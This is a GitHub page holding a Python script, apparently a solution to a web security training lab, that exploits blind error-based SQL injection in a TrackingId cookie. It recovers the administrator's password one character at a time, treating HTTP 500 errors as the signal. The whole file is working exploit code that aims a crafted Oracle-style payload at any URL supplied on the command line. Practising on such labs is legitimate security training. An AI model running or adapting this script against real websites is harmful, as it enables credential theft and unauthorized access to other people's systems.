-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathlab-12.py
45 lines (36 loc) · 1.47 KB
/
lab-12.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import requests
import sys
import urllib3
import urllib.parse
import pyfiglet
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Display a banner using pyfiglet
ascii_banner = pyfiglet.figlet_format("RuhanSec")
print(ascii_banner)
proxies = {'http': 'http://127.0.0.1:8080'}
def sqli_password(url):
password_extracted = ""
for i in range(1,21):
for j in range(32,126):
sqli_payload = "' || (select CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator' and ascii(substr(password,%s,1))='%s') || '" % (i,j)
sqli_payload_encoded = urllib.parse.quote(sqli_payload)
cookies = {'TrackingId': 'VCihUxVsScWo4Jlz' + sqli_payload_encoded, 'session': '74lHcxWrulllTDNGJQvYxxcpmmkVdqzL'}
r = requests.get(url, cookies=cookies, verify=False, proxies=proxies)
if r.status_code == 500:
password_extracted += chr(j)
sys.stdout.write('\r' + password_extracted)
sys.stdout.flush()
break
else:
sys.stdout.write('\r' + password_extracted + chr(j))
sys.stdout.flush()
def main():
if len(sys.argv) !=2:
print("(+) Usage: %s <url>" % sys.argv[0])
print("(+) Example: %s www.example.com" % sys.argv[0])
sys.exit(-1)
url = sys.argv[1]
print("(+) Retreiving administrator password...")
sqli_password(url)
if __name__ == "__main__":
main()